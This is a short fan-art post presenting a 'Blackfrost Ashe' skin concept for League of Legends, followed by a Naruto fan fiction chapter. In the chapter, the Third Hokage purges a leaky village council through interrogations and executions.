-https://41.media.tumblr.com/9ae523c9a04d7a99f8de3aa75f0272fc/tumblr_o0wm4sa14c1qk32lpo1_1280.png > > "The Freljord will bow to me, else it shall shatter beneath my heel.” > > The noble and benevolent Queen Ashe once guided the people of the Freljord with a firm yet gentle hand. The course of history was forever changed, however, when her once warm and passionate heart was corrupted by the icy touch of the Frozen Watchers. Now her armies sweep across the tundra like the blizzard wind, seeking to swell the forces of her Iceborn horde that all of Runeterra might someday feel the Watchers’ wrath. Hey everyone! Took some time yesterday to throw together a quick Blackfrost Ashe concept! Inspired by a dream I had the other night where I was playing Support Liss to a Blackfrost Ashe in an all Freljord team while Ice seeped out of our Nexus and slowly froze the entire map! This one came together pretty quickly so I didn't come up with many design variations but I'd like to revisit it and polish it up a bit sometime soon. Let me know what you guys think! EDIT: Tattered the cape up because some of you guys said it was too reminiscent of Talon! I was trying to create a thematic tie with the fabric trailing behind Blackfrost Anivia but I can definitely see why it reminded you guys of Talon. https://41.media.tumblr.com/1f8246aaebf08d1a4cd3124a9fe17536/tumblr_inline_o0xqxgD3gg1qiaw9q_540.png If you'd like to see more of my work you can [follow me on twitter!](http://www.twitter.com/TomRandby) I post a lot of concepts and progress images there!  Title  Body Cancel  Save
-Will of Fire, Heart of Stone  Chapter One  Edited 3/14/09  A/N: I just finished a story with a wishy washy Sandaime who gets redeemed at the end. Writing the epilogue to that story made me want to work on this one again. This is a stronger, more resolute Sandaime Hokage, but his world won't be an easy one. As you shall see.  X-X-X-X-X-X-X-X-X-X-X-X-X  A week after the demonic disaster named Kyuubi almost leveled Konoha, notices went out to the ANBU. Several senior ninja now had new, internal duties.  For some reason, the three Hyuuga ANBU began spying on the Uchiha. Two Uchiha spied on the Hyuuga. The Inuzuka ANBU members were tasked with the Ino-Shika-Cho clans. The Nara clan spied on the Inuzuka. Hatake Kakashi was pulled from his grief over the death of his sensei to start surveillance on the civilian council members.  No one knew why they were tasked away from reconstruction or intensified border patrol. Internal spying was usually a matter for ROOT, wasn't it, or the Counter-Espionage group.  A few people tried to get the Hokage or even Jiraiya to explain what was going on. Orders were orders; the Hokage sat resolute and said nothing.  Indeed, most of the ANBU didn't question their orders. The Hyuua were naturally suspicious of the Uchiha; the Uchiha loathed the Hyuuga.  A few ANBU were now getting paid by the Hokage to do what their clans would normally have them do in their off hours.  Reports flowed in to the Hokage. The information he wanted to know was so strange. Were the Uchiha talking with people outside of their compound more often? Did the Yamanaka clan ninjas talk with a lot of civilians?  It was a full week later that notices went out to the clan heads and the elder counselors. There was a meeting at nine…that night…less than two hours distant.  The newly reinstated Hokage wasn't known for being dramatic, so the counselors and clan heads showed up expecting either great or terrible news. Two weeks after the Kyuubi disaster, they were expecting more dire news.  They were proven correct when an unspeakably angry Sarutobi Hiruzen stormed into the room. Normally a genial sort, an angry Hokage had the council nervous. The news was going to be terrible…had Iwa resumed the war?  It wasn't every day that the most powerful ninja in the Fire Country seemed like a raging volcano. Disquieting thoughts bubbled up in the minds of everyone present.  "Sit," he said at barely a whisper, still everyone fell into their seats.  A rather dour-looking Toad Sannin, Jiraiya, followed the Hokage into the room. Then, ominously, the doors were shut and sealed from the outside. This was a rare sort of security precaution. All the evidence pointed to war.  "How many of you in this room like living in a Hidden Village?" the Hokage asked.  The assembled elders and clan heads of the village were surprised at the question. A lot of shrugging and confusion followed. This wasn't the way Sarutobi usually spoke. He was direct and to the point.  "Raise your hands if you like living in Konoha." The barked command shocked the listeners.  Everyone raised a hand. This was embarrassing to them, like being back in the Ninja Academy.  "Raise your hand," the angry Hokage said, "if you love that we're nestled into a vast forest. A forest our Shodai Hokage endowed to us…his greatest and most incredible work, something that could never be replicated, not with all the Earth and Water users in Fire Country."  The counselors and clan heads did nothing. That just made the Hokage angrier.  "If you like living in a forest, raise your hand."  Again, all the hands went up.  "And who here had donated their time to helping those injured in the disaster? To making life a bit better for your neighbor, for the man who sells you daikon, or the woman who bakes your bread. All of you, right?"  Some hands went up without a thought. The more snobbish clan leaders reluctantly raised theirs, as if they had difficulties remembering ever helping anyone.  "I can assume everyone here wants their children, their heirs, to grow up among the leaves, right?"  This was an easy one. All the hands rose up as one.  "Yes. Many of you have just had children. Some are the new clan heirs. Some will, unfortunately, have to replace clan heirs who died during those horrible events when the hospital was damaged and part of a village wall caved in."  That sad history had been discussed among the clans. Why did Sarutobi bring up such a painful subject now? The Yamanaka's had lost a son, the designated heir. The Aburame had lost two children and their clan head, extinguishing that branch of the family. The Uchiha had lost almost ten percent of their ninja, including the third in line to be clan head behind Fugaku's own two sons.  "Yes, it's a fine thing to live in a village like this one. A fine thing. Three Hokages to date have died to keep this place alive; I checked the rolls and another eighteen hundred jounin-ranked ninja have died in our decades of skirmishes, intrigues, and wars. A beautiful forest we have grown from blood, sweat, and ground bone. A beautiful place to raise children…."  The clan heads, in particular, had no idea if Sarutobi had lost his mind. The words coming out of his mouth, this anger, what had happened? If it wasn't war, what was it?  Sarutobi stopped for a moment, looked at Jiraiya, and took a deep breath. "Fine. Everyone in here is loyal to the Leaf. So you attest. Now tell me if you'd all like to have Stone ninjas attack us in a week…. Anyone?"  The elders looked confused. What the Hokage said wasn't a declaration of war, was it?  "No one wants that, Hokage-sama," said the acting head of the Aburame clan. (With the previous head's death, the internal politics of selecting a new permanent head would take time.)  "No one says they want that," Jiraiya said, his tone even angrier than the Hokage's. "But that's what you clout-headed fools almost caused."  "What," the Uchiha Clan head shouted. A number of other people jumped to their feet to defend their patriotism.  "Sit," the Hokage said, barely constraining his rage. "All of you return to your seats. We have much to discuss."  Sarutobi was usually so mild mannered that it was odd to see him stand and begin pacing the way a caged tiger might…and the council knew that this aged man was more deadly than any tiger.  "Because of the devastation from the Kyuubi's attack, we are at our weakest right now," the Third Hokage said, his weariness only exceeded with the vigor of his anger.  "You all know this. It's vital we keep this truth secret. Right? We must repair ourselves as fast as possible giving our enemies as small an opportunity as possible…to learn of our distress."  The assembled elders all agreed. Who knew what Stone or Cloud might do if they had accurate information as to what had happened. Even their ally Hidden Sand might get some fool-headed ideas given the chance. The main wall hadn't been completely repaired yet and Konoha's surviving ninja forces were mostly injured or despondent in grief at the present moment.  Battle-hardened ninja knew what it was like to fight in battle. But to fight the unstoppable, the juggernaut of a bijuu…that was something else entirely.  Some of the ninja on the battlefield might never be right in the head again.  "Secrecy. We all know the importance. It's common sense. It's been discussed in this very chamber two times since the attack. So how is it that one or more traitors sit on this council, traitors who would draw the Stone army to us?"  That prompted more outcry, of course. The look on the Hokage's face was enough to put down this eruption of self-preservation.  "You, all of you in this room save the Aburame and two of the minor clans now present, were told eight days ago of this village's most recent S-class secret. I even formed a special law to protect this information…to keep Konoha and also the young sacrifice safe."  Danzo, along with Homura, finally understood what this was about. The Head of ROOT began trying to figure out how he was going to survive this. Sarutobi would assign a slap on the wrist, right? Perhaps a loss of political power or a forced retirement. But a retired ninja can maintain unofficial power for a very long time. Danzo's mind churned through his options.  "Less than a week later, what do I find? Defiance; passing of the secret through the clans; even civilians discussing military secrets on the street corner. For a normal secret, I would be angry but dismiss it as a bit of venting, dangerous but potentially necessary. But not for this secret. Now you shall know why I am so angry, so furious: a team of chuunin out patrolling seven days ago discovered something that chilled my blood."  The angry face of Sarutobi became fixed.  "A spy, a spy from Stone, rushing back to Earth Country as quickly as he could."  Cold horror bloomed in the minds of not a few clan heads present. The greater part of the room now saw where this story was going…and they were too weak to keep Sarutobi and Jiraiya from doing what they had now resolved had to do.  "This spy was taken down easily – by surprise – and sent to interrogation. Do you want to know what this spy had learned just from walking our streets? He knew the classified details of what had happened to Kyuubi, even the name of the jinchuuriki; he knew the specifics of the sealing array used; he knew even how long the seal had to be in place – nine years – before we could be absolutely sure that Kyuubi would die when his jailor died. He knew details I released to this council only one day before the spy heard them. These details I only released to this Council under great duress…and under my special law. Why then did a spy learn them so quickly…a spy so green he was taken down by chuunin eating their dinner while out on patrol!"  The Uchiha head had grown paler and paler. "I protest…."  "Sit down, you blowhard. You and your ilk have almost brought a war upon us at the time we're least able to cope with one. To think I thought this Council was worth the frustration; that the idea of participation and semi-representative democracy was valuable; that it would keep us from becoming monstrous and corrupt; that we were different from Stone and Cloud and Hidden Mist because our clans and our villagers could be involved in governance….  "I was a fool. I considered some of you as adversaries or as annoyances. But I was wrong. As a body this council is worthless except to bring down ruin upon us. You can't keep your mouths shut! So many treasonous things have begun in the minds of people who had the privilege of sitting in this room. I should strike these betrayers down as I speak…."  The Uchiha shut up midway through that vitriol. He was a formidable ninja, but 'The Professor' could knock him to pieces in minutes, having developed now-forbidden techniques that negated the Sharingan's predictive and copying abilities.  "You all expected me not to notice you were violating military intelligence protocol; that you were spreading vital, classified information so freely that a green spy from Stone, here on a simple training mission, could learn our most critical secrets within hours of entering our village. I am not a doddering fool; I have not forgotten my job in the all-too-brief time that the Yondaime took the leadership of Konoha. I am the Fire Shadow; I have the will of fire, but today I must also harden my heart and perform a most painful duty.  "For one week I have had my ANBU spying on all of you. I preyed on old hatreds and no one questioned why I was spying on my own people so soon after a disaster. I have a good deal of evidence, enough to pass judgment.  "For breaking the special Kyuubi law, this Council, per my powers as Hokage in a time of disaster or war, is dissolved. All of you will submit to 'informal' questioning as to what you know of this security leak. Those of you responsible will spend time with the ANBU interrogators. Those who maliciously broke the law will receive the full sentence, death; those who are merely stupid or gossips will be removed as ninjas. None of the guilty will ever hold positions of prominence in this village again…."  At this the Head of the Uchiha Clan attacked. It was either he assassinate the Hokage now…or die a traitor later.  The Hokage had expected it.  The Hyuuga ANBU had provided evidence that suggested nearly every Uchiha knew of the jinchuuriki – and it was clear that news was passing to civilians from several Uchiha. Perhaps they expected for village mobs to deal with the jinchurriki, not caring that the seal needed time to bind the Kyuubi's soul to the young boy's. Not caring that it was entirely likely that this act of vengeance would give Kyuubi back all his power.  The Uchiha would destroy anything…even a baby…that had the potential to become more powerful than even their greatest prodigies. It was the Uchiha way. Konoha had always gone along, turning a blind eye, in the past. (Well, save for when the Shodaime and Uchiha Madara got into a battle over their tactics and goals….)  The Hokage batted away the Fire attack as he leveled a massive Killer Intent at the only Uchiha in the room.  This attack was one the Professor had used very rarely…but it worked. The amount of fear generated within the hate-filled Uchiha's mind caused a blood vessel to burst. The man fell over, incapacitated and slowly dying.  "Anyone else care to challenge me?" The Hokage looked over the cowering morons with disgust. "I may be old, but I can kill the strongest of you just by glaring at you."  The quivering mass of the dying Uchiha Clan leader on the floor gave testament to that.  "All of you will be taken for questioning by several people I trust implicitly. The traitors will feel the talents of the ANBU torture squad. You will reveal the name of every person you informed of this secret…and why. This is not a gossipy shougi parlor…this is a military village. Secrets, even one you hate, can kill us if known to a wide audience."  Jiraiya, usually a goofball, looked as severely angered as the Hokage. He finally spoke up. "My greatest student gave his life to save this pissant village…and all of your pettiness nearly took that and threw it away. I counseled against sharing any information with you…I had a more hard-nosed understanding of what many of you were. Sensei decided to trust in your military instincts, your self-preservation instincts. He has already admitted his folly.  "Stone could have mobilized and been here within a week…and they would have known exactly which child to secure. They'd have killed the poor tyke, because they are truly heartless bastards, and Kyuubi's chakra would have been free to reform a demonic body. All of us would have died. We've let you spoiled princesses poke your noses into things for too long. I'm going to start my interrogation with the Hyuuga."  The Hokage just nodded. "As of now, I am sole leader of the village. All of the special dispensations for clans are void…as several clans have brought us to war and should feel the pain of what they did…and I will appoint special advisors to deal with trade, reconstruction, relations with the Daimyo, and other matters. We're done."  The Hokage and Jiraiya left through what had been a sealed door.  The other door to the room opened…and a variety of ANBU who did not come from clans poured into the room and overwhelmed the mostly elderly council members. Some of these people had once been fighters, but they couldn't easily stand up to men thirty or forty years younger. Some hadn't even trained regularly in a decade or longer, so used to sitting in the Council chambers and meddling in things not within their purview.  The civilian counselors, who had not been invited to this meeting, were dragged from their homes by masked ANBU. The kinder ANBU used pressure points to knock them unconscious. A few of the ones who'd experienced Council politics before were a bit more…aggressive. The Hokage had approved all of this in advance; after all, he did understand the power of a bit of theatre for the general populace.  Inside and outside the council chamber, the guiltiest struggled the hardest. They had caused the Hokage to invoke the penalty clauses of his law; they had caused the power of the clans to be somewhat broken. It was possible that none of the clans would be trusted for a long time to come after all the revelations came out.  None of the ANBU seemed at all concerned when they broke arms or had to stab a person to keep him from escaping.  The bloody scene inside the room would keep it from being used as a meeting space for a long time. The Hokage did not have it remodeled for nearly a decade, as he considered it an honest, vicious blot – one that should be remembered – on the Village Hidden in the Leaves.  X-X-X-X-X-X-X-X-X-X-X-X-X  The ANBU began the interrogation of Danzo a few minutes after three o'clock in the morning.  The man had been a rival for years…but Sarutobi had enjoyed the sparring for a good long while. He had never thought his…perhaps-friend was so deep in corruption.  The more of these interrogations Sarutobi listened to, the more out of touch he felt.  All of this…all this vile, beastly plotting inside his village walls! Minato had asked Sarutobi two months ago what he should do about Danzo; the young Hokage had been considering forcing the aged ROOT commander on a suicide mission just to be rid of him. Sarutobi had counseled against it…a foolish effort.  Sarutobi steeled himself and stood behind the one-way mirror. It was nearing four o'clock in the morning, but Sarutobi subsisted on anger right now.  "Now, Danzo," the interrogator said, one of the few interrogation specialists who weren't compromised in some way by ROOT's blackmail or coercion schemes. "Tell me the names of those you informed about the Kyuubi aftermath."  "You're going to kill me anyway. I have confessed my crimes; fallen on my sword for a once-great, now wasting away village. That is enough, I think."  The interrogator, one of the few remaining who was trained during the Nidaime's reign as Hokage, leaned forward. "You know my reputation, Danzo. Do you really want to see my…technique with your own eye?"  Sarutobi stifled a laugh at the little joke. Mocking Danzo for his infirmities was wrong… Huh? Sarutobi hadn't stayed up for this many continuous hours in a good many years. The hours were wearing on him.  "You wouldn't…. That bastard Sarutobi signed a warrant, didn't he? It's bad enough you're going to kill me…but torture?"  "The kind I practice…well, it doesn't leave much in the way of a mark."  "Do your worst…."  Sarutobi closed his eyes and rubbed them. Danzo's holding out like this said that he knew something important. He was being stubborn to demonstrate something, to win a concession…or maybe to be a bastard until the bitter end.  Yakogi would find the information. The number of failures the man had could be counted on two hands – all due to his subjects' hearts giving out under stress. Less than ten died from the more than one thousand who had 'chatted' with this legend.  Sarutobi watched as the barrel of water was carted into the room.  "Is there nothing I can do to prevent this?" the interrogator asked his subject.  "Die," Danzo spat.  "Not today. Not because of you. You should feel lucky I am your lowly interrogator. Had you been before the Shodai Hokage himself, you would feel living wood piercing under your finger and toenails, growing millimeter by millimeter until you begged for death. My technique…is less refined. Well…we shall begin."  The old interrogator formed some handseals and a thin column of water erupted from the tank.  The first bit form up a collar around Danzo's neck. He was immobilized.  The next bit splashed against the man's lips and teeth, prying them open and continuing down his throat.  The water hung there, holding Danzo and suffocating him.  As Danzo's eyes lit up in horror at feeling a technique that should never have been invented, Yakogi performed another set of handseals…and the water from his throat, esophagus, lungs, and stomach began to draw back…slowly. By the time the water was gone, Danzo was nearly passed out.  It was a pain, Sarutobi knew from watching Yakogi work, the inevitable black outs this technique caused. But Yakogi was always cautious to begin and quick to stop once a subject had broken.  "The names, Danzo. Tell me the names."  "The Leaf is rotten," Danzo's damaged vocal cords rumbled. "The branches are rotting. When the fire comes, the Leaf will burn."  Yakogi made more handseals and the process repeated itself.  Sarutobi left the room and let Yakogi ply his trade. He had other conversations to observe.  The Uchiha elders had been taken as a group a few hours ago. Jiraiya had one of them now.  "You can't do that to us. You can't…."  That was a female voice. Fugaku's wife, Mikoto. Sarutobi stepped into the viewing area and fully closed the door.  "You are mistaken," Jiraiya said. "The clan laws have been repealed by a wartime decree; the village council has been disbanded, too. Now…you will tell me how you were told the true details of the Kyuubi attack."  "I have rights. I demand to speak with my husband."  Sarutobi was surprised that she didn't already know. Jiraiya must be saving that information for a reason….  "Right now, you are suspected of treason. I don't think the Hokage cares much about your rights."  "Fugaku would never permit this…."  Sarutobi recognized that the woman had entered a kind of fugue state. Her brain just wasn't processing the questions Jiraiya asked anymore.  "Your husband is dead."  That got a reaction. It wasn't a scream or tears or even shock. The only thing Sarutobi noticed was her lip beginning to quiver. She was a trained kunoichi, after all, and could mask her emotions.  "How?"  "He attempted to assassinate the Hokage with a fire jutsu. The Hokage…well, he proved why he was Hokage then. Your husband died a minute or two later."  "We are broken, then?"  "All the Uchiha elders are in cells like this one. None of you will ever leave, not until we understand the full extent of this treason…."  "All this, the destruction of our clan, for one simple little baby! He should be dead…."  "I care not for a discussion of policy with a traitor like yourself. I care only for information. Now…speak."  "The Hokage wouldn't kill the child…so the Uchiha Elders, all of us, we decided to…plant the seed of an idea. A bit of overheard gossip here…and eventually some civilian makes an attempt and gives everyone else the idea. That 'child' should be dead."  "Names…now."  Sarutobi had heard enough of this. All the Uchiha Elders, six ninja in number now that Fugaku was dead, all conspiring. They would have to be killed.  Minato thought he was ending the chaos and destruction…saving the village. But the method of salvation he chose was now ripping the Hidden Leaf to shreds, exposing the rot that was far more widespread than Sarutobi had feared to imagine.  Sarutobi walked out and picked up a clipboard. The preliminary results were in. Of the twenty-one council members and minor clan advisors, fourteen had broken the law. Of the civilian council members who were informed of the Kyuubi details, all of them had broken the law.  Sarutobi had long debated with himself whether there more danger sharing military information with civilians who did not…and could not…understand the importance of discretion or in allowing only ninja to get restricted information. The answer was still unclear.  He flipped a few pages on the clipboard. Many of the other councilors knew that the law had been violated and did nothing. They would receive lighter sentences, but they were not innocent.  Right now, the ANBU had warrants to apprehend more than forty civilians.  The days of the Uchiha-led Konoha Police Force were over. Civilians would need to get used to being handled by the ANBU. That reminded Sarutobi to have the Police Force records audited and examined…hopefully there would be no irregularities.  It was just another blow.  How much of the village would revolt? Would it lead to a civil war…over something like this…over a baby who kept the raging chakra of a demon held back? Were trained ninja so blind – leaving aside civilians – so given to their passions?  Sarutobi set down the clipboard. He knew that Ebisu, the former head of Ninja Force Internal Affairs, an oft hated figure for his role in policing…well the police and the ninja and anyone else who worked for the Hokage. He was an honest sort, but his days as a line ninja were over. He'd be 'accidentally' killed by teammates while on a mission.  Sarutobi mulled this over as he settled in to listen to another interrogation.  Perhaps Ebisu should go into training the young. It would be nothing at all to make him a Special Jounin…a pity for a talented ninja. It was hard to get someone to take a role in Internal Affairs, but necessary. Ebisu had done a great service then…as he was doing now.  Yamanaka Inoichi was likely innocent, but Ebisu would find out for sure. Sarutobi wanted to make damned sure that his lead interrogation specialist was trustworthy. The ANBU would spend weeks on these detailed interviews if Sarutobi could only trust Yakogi. (He had been retired and living outside the Hidden Leaf during the Kyuubi disaster. Sarutobi had only recalled him a day ago…and was positive the man hadn't been caught up with Danzo or anyone else.)  He settled in to watch Ebisu and Inoichi spar. He had hours to go and his bones were weary.  X-X-X-X-X-X-X-X-X-X-X-X-X  Three weeks after Kyuubi's defeat, the Sandaime Hokage felt every one of his sixty-five years of life. He walked out onto the balcony overlooking a wide avenue. It was packed with people: villagers and shinobi.  He didn't have to fake the dire look on his face.  "Today, people of Konoha, I must relate a tale of treason to you."  The gathered individuals standing outside the Hokage Tower were understandably nervous. The Hokage hadn't called for a general gathering like this one since Iwa had declared war on the Leaf.  Treason had to be at least as bad as a bunch of Earth Country scum.  "A military secret was revealed to the Village Council about two weeks ago…and they were informed that the information was subject to our highest secrecy ranking. Within the week, the majority of them were freely discussing the secret within their clans. All of the civilian members also violated the military secrecy law.  "This was supremely dangerous, as a young spy from another Hidden Village had just infiltrated our village as part of a training mission. He learned the complete details of our military secret within hours…and it was only luck that a group on patrol caught him before he crossed the border. Our council's loose lips with one of our most important military secrets nearly brought us to war…and at a time we could least expect to deal with it. Instead of repairing the walls and tending to the wounded today, we would have been fighting an enemy force looking to crush us at our weakest point.  "Each person who was told this military secret was questioned…and those who broke the secrecy laws were interrogated to the fullest extent. Twenty-three civilians have been convicted of treason, as have forty-one shinobi. Those convicted of the most minor offenses are currently serving time in our special military prison; those convicted of major offenses will be executed today…."  That brought a gasp from the crowd. Military executions were almost always done in secret, after secret trials, the village at large never permitted to know of what had happened.  Moments later, thirty one people, including seven of the Uchiha Clan, were dragged from an unmarked door on the side of the Hokage Tower. Their guards brought them in front of the city wills near just to the left of where the Hokage was speaking.  "As Hokage, I must protect the people of the village from threats foreign and domestic. These traitors have revealed secrets that only through luck did not end in a bloody war. May you wail for all eternity in the guts of the Shinigami."  A masked man to the side of the condemned let loose a Fire Dragon which seemed to gobble up each person. It was a powerful spectacle with an unmistable message: military secrets will cost you your lives should you ever betray them.  The Hokage continued with his speech. "The Uchiha Clan compound and several other properties belonging to clans and civilians have been confiscated. These Uchiha lands were originally gifts to lure that clan here…and they have been taken back for cowardly, treasonous conduct. Shortly, we will turn those spaces into affordable housing for those adversely affected by the attack. Likewise, we will be moving our orphanage into new quarters there, seeing that we have a massive increase in the numbers of children without living parents…"  "What will happen to the remaining Uchiha?" Predictably it was a civilian shouting out the question. Why the people loved the cold hearted Uchiha Sarutobi couldn't understand.  "Some will choose to resign as shinobi of the Leaf and leave the village…and will be bound with a new protective seal to prevent them from ever attacking Konoha. Some have already gone nukenin…they will be hunted down and killed after I finish teaching my anti-Sharingan tactics to our Hunter Ninjas. Those who remain loyal to Konoha will remain welcome to live with us. However, they will no longer have the right to control our police force nor a right to sit on a council should it ever be reformed. Traitors, among them all the Uchiha Elders, should never prosper from their acts."  The Hokage's speech continued…and the village's opinion of the man changed. While he had cultivated a laid back reputation, he now demonstrated why he was the strongest ninja in the village, even at his advanced age.  Those few who had escaped detection even after learning about the Kyuubi being sealed into a child knew they had to keep the knowledge secret. The Hokage was willing to follow through on his law.  X-X-X-X-X-X-X-X-X-X-X-X-X  "This is intolerable, Lord Hokage," Hyuuga Hiashi said. He had become clan head only two years earlier after his father retired and joined the Hyuuga Elders. "None of my clan has been convicted of anything. None of us were responsible for letting the secret escape."  "You personnaly followed the letter of the law, Hiashi. But you broke its spirit. Some in your clan, like the two executed Elders, openly flouted my decree after they got the information from the Uchiha or others. Remind me, Hiashi, of how much you knew about the whispering of the other clans…and what you did to stop it."  Hiashi remained stone faced.  "Correct. It is a shinobi's task to maintain secrets, his own, his village's. Your clan failed in that respect. You heard the whispers, your clan associates heard them…and most had enough sense to not pass them along. Why did you not come to me, tell me…my few remaining ANBU have been severely taxed with their reduced numbers, severely wounded comrades, and greatly increased duties. The clans needed to step up…and didn't. This is conduct I should reward? Encourage?"  "Aside from those disgraced old men, who have paid the ultimate price, my clan did nothing wrong." The young Jonin kept trying to argue but a single opinion. It wasn't a strong case to make and Hiashi was still a relatively poor negotiator.  "It is not commission I blame you for, but omission. You did not act to stop this. You are as guilty as any of the fools burnt to cinders for almost bringing us to war. This argument will not wash."  Hiashi, as collected as ever, nodded. "Then I must inform you, Lord Hokage, that the Hyuuga will be asserting the right of severing from the Hidden Leaf."  "You will follow the traitorous Uchiha? The confused Akimichi? The decimated Kentoru? It is solely within your discretion. I will not even attempt to oppose or delay you. But answer me a question: what do you hope to gain?"  Hiashi had not moved during this exchange, but now he looked a bit…irresolute. "We must maintain a position within a village where we are respected. That is no longer the case here, Lord Hokage. We will seek a powerful new alliance."  Sarutobi just nodded his head, not terribly surprised at the continuing Hyuuga arrogance. Their remaining Elder Council was filled with fools who had not held a kunai in decades…and they dictated policy to the clan head. Hiashi seemed to at least recognize the futility of what he was forced to do today.  After all, where would they go? Hidden Mist, the place where the Bloodline Wars were in full swing? Hidden Cloud, which had several times before attempted to capture, not kill, Byakugan users out on missions? Hidden Stone, which had only been deterred from a continuing war after Minato savaged their last, largest armed attempt at invasion?  Hidden Sand? Hidden Grass? Hanzou's Hidden Rain? Maybe petition a Daimyo to form a new Hidden Village…  No, none of these would kowtow to the Hyuuga. Hiashi likely already knew this…but his 'honor' – as defined by the Hyuuga Elders – would demand prominence and privilege.  "I wish you the best of luck then, Hiashi. Be careful."  "The Hyuuga need no luck."  Sarutobi frowned after Hiashi left his office. This would not end well.  But he could not…would not return to coddling of the clans, letting them trample through the village as if no one else mattered.  The Great Unravelling was in full swing. That would be his terrible legacy. But at least the Hidden Leaf might have the opportunity to grow stronger from his difficulty.  "Good bye, Hyuuga Hiashi. May the Kami guide you safely…and may you hide from the hungry eyes of the Shinigami."  X-X-X-X-X-X-X-X-X-X-X-X-X  Sarutobi Hiruzen, the famed Ninja Professor, could barely keep a civil tongue in his head.  The remaining teachers in the Academy – comprising those not killed by the Kyuubi and not withdrawn from Hidden Leaf by departing clans and minor families – had the…gall to present these records.  It was a disgrace.  The ANBU would have another task to sort out very soon. Retired school teachers would soon be visiting Inoichi. Sarutobi thought he himself might be due for a torture session, as well, for not spotting this mess sooner.  "Let me see if I understand this. The Academy had an 'unofficial' policy of handling disciplinary matters differently depending upon who the student's sponsor was?"  An abashed chuunin named Seiko Noda nodded, unable to form up words. He had never expected to be interrogated by the Hokage of all people concerning the Academy and its running.  "So, if I were to sponsor a student who was disruptive, causing havoc with the other students' learning…how would it be handled?"  "Delicately."  "And if a similar student spent his time painting classrooms green or planting traps for the teachers, but came from a civilian family?"  "Expulsion."  "The Jounin I entrusted to oversee the Academy was a fool then. Best for him that he's now dead. We will rebuild the walls of the building soon enough…but we will not reimplement all the old policies. Do you all understand me?"  He got back a chorus of discouraged "Hai, Hokage-sama."  The Hokage turned to question an ANBU who had been tasked with examining odd caches of paperwork found in the homes of the traitor council members.  "And these papers you wished to discuss? What relevance do they have with schooling?"  "I believe," the masked ANBU cautiously began, "that council members would from time to time pay a visit to certain chuunin at the Academy."  "To what end?"  "To make suggestions, especially on team formation."  "That is my job…."  The ANBU nodded, pausing to think his way through a mine field. "Correct. But the Lord Hokage listens to advice, if I'm not mistaken. Especially the teacher-generated commentary on each student's progress and assessment of strengths and weaknesses."  The Hokage nodded. He turned to look back at Seiko Noda. "Is it true? Was pressure applied?"  The chuunin nodded.  "Were the comments always accurate? Complete and accurate?"  The chuunin shook his head and let out a long-held breath.  "Were favors or money exchanged for these…considerations?"  The terrified chuunin nodded again.  The Hokage looked at the other teachers. That none of them would meet his eyes was proof enough.  "ANBU, what was the end result of these contacts, aside from team placement?"  "I haven't finished reviewing the documents, but the pile I have reviewed suggest a…troubling pattern."  "Yes?"  "If Lord Hokage would care to review team composition for the last decade, I am sure he would find that clan team members often find themselves on teams with other clan members…."  "Yes, I agree with that."  "And that the teams formed by civilian or orphan children rarely passed their jounin-sensei's personal examinations…."  "You've got to be kidding me…."  It was so obvious now…now that someone else had unraveled this mess. The Hokage felt like a fool, but he spent so little time on the Academy. Not with wars looming and jounin to oversee and manage in A- and S-ranked missions.  He had felt comfortable delegating most of the Academy issues to people he thought trustworthy…which now seemed misplaced.  "So…the clans look better if their children always 'perform' better than other student ninja, get on better teams, pass out of the Academy earlier. This is ridiculous. Half the Hokages have come from no clan…and the other two came from the same one and were ridiculously talented in their own right, not from long maintained bloodlines. Namikaze Minato, our greatest Hokage, was completely untaught until he reached the Academy…and then he grew like a weed. I confess to having excellent 'tutors' early in life. But…this kind of sabotage. Making the clans look powerful by literally making everyone else fail and look weak. Am I hearing this right?"  The masked ANBU just nodded.  "This sounds like treason to me. Subversion of the village's military strength for favors and money. Have them all taken to Interrogation. Let's get the whole picture."  The masked ANBU nodded…and a few chuunin, fearing this conclusion, tried to escape. One found out it was not possible to shunshin from this room – Sarutobi knew more about sealing than anyone else in Konoha save for his student Jiraiya – and the others found out that an ANBU could subdue several weak chuunin at the same time.  Sarutobi watched with his anger finally ebbing away.  Had he been sleeping all these long years? Not paying attention? Not questioning what he was told? All of these findings made his village seem like something else, something foreign and revolting.  Had his conception of the Hidden Leaf always been a lie? Or had he let corruption eat away at it?  Sarutobi pondered. Hatake, strong clan and exceptional warriors. But that new jounin Maito Gai was easily Kakashi's equal…and was an orphan.  For every powerful clan jounin Sarutobi could think of, there were two or three non-clan ones who were as good or better.  Almost all the remaining ANBU were non-clan. Uzumaki Kushina had come from a clan in Whirlpool Country. She had been the last clan ANBU Captain.  Sarutobi would need to dig deeper. Had the early compromises necessary to fuse Senju and Uchiha – which made Konoha attractive to other clans – rotted the village this way? Could it have been possible for things to have gone differently, for Sarutobi to have managed things differently.  These last weeks had severely disarranged nearly everything he thought he knew.  He hoped there were few more surprises in store…for him or the village.  In a fit of anger his hand snaked out and plucked up one of the many folders discussed in this room in the past few days.  The Hyuuga.  He flipped it open and began reviewing the report.  Graduated one or two genin every year from the Academy. Had 17 active chuunin at the time of their leaving – and 62 'retired' chuunin. Only 7 jounin – four of whom were 'retired.'  More of this 'clan first' garbage, Sarutobi realized. These retirements at chuunin level – it permitted the ninja to be trained at the village's expense and then to be used for the clan's benefit. Many of these 'retired' chuunin had trained hard and long enough to take and pass a jounin examination…but instead they remained behind the clan walls.  The other shinobi had to pick up the slack: the non-clan shinobi.  "There cannot be villages within villages…if the goal is to have a wholly united village. I cannot and will not permit this to happen," he vowed.  X-X-X-X-X-X-X-X-X-X-X-X-X  "I said no," Jiraiya reiterated.  "Why not?"  "I have my reasons."  "That's not good enough."  "You know, I never was good enough for you, Sensei. Wonder why I'm the only one of your students who still talks to you."  Sarutobi sighed. "And, again, the past intrudes upon the present. Why, in my dotage, does everyone see fit to remind me of my more youthful failings? It would have been better to correct me back then…"  "Correct the Professor? Surely you jest. He knew everything. Just ask him; he'd tell you."  "Very funny."  "I'm not smiling."  Jiraiya was being…difficult. This was a conversation the Sandaime Hokage had long been bracing himself to have…and now Jiraiya had been in the village to help with the final reconstruction of the village walls.  Sure the masonry had been up for some time. But it had taken three weeks to reinscribe all the sealing arrays and then activate them. Jiraiya hadn't been happy to be stuck in-village for three weeks, but he'd done it.  The man claimed he was born for a life of wandering, women, and worship. The Hokage agreed with the first two, but wasn't sure what Jiraiya meant by the last. His student was a most profane, if amusing, person.  "If you are not willing to become Godaime Hokage, Jiraiya, I must ask you to state your reasons. If it is simple resentment towards me, I am afraid that won't cut it."  "No. No, it's more than that."  The Hokage nodded, waiting.  "I do not trust myself."  "I trust you…."  "No, stop doing that. Just listen to me, would you?"  The Hokage just nodded. This was obviously important to his student.  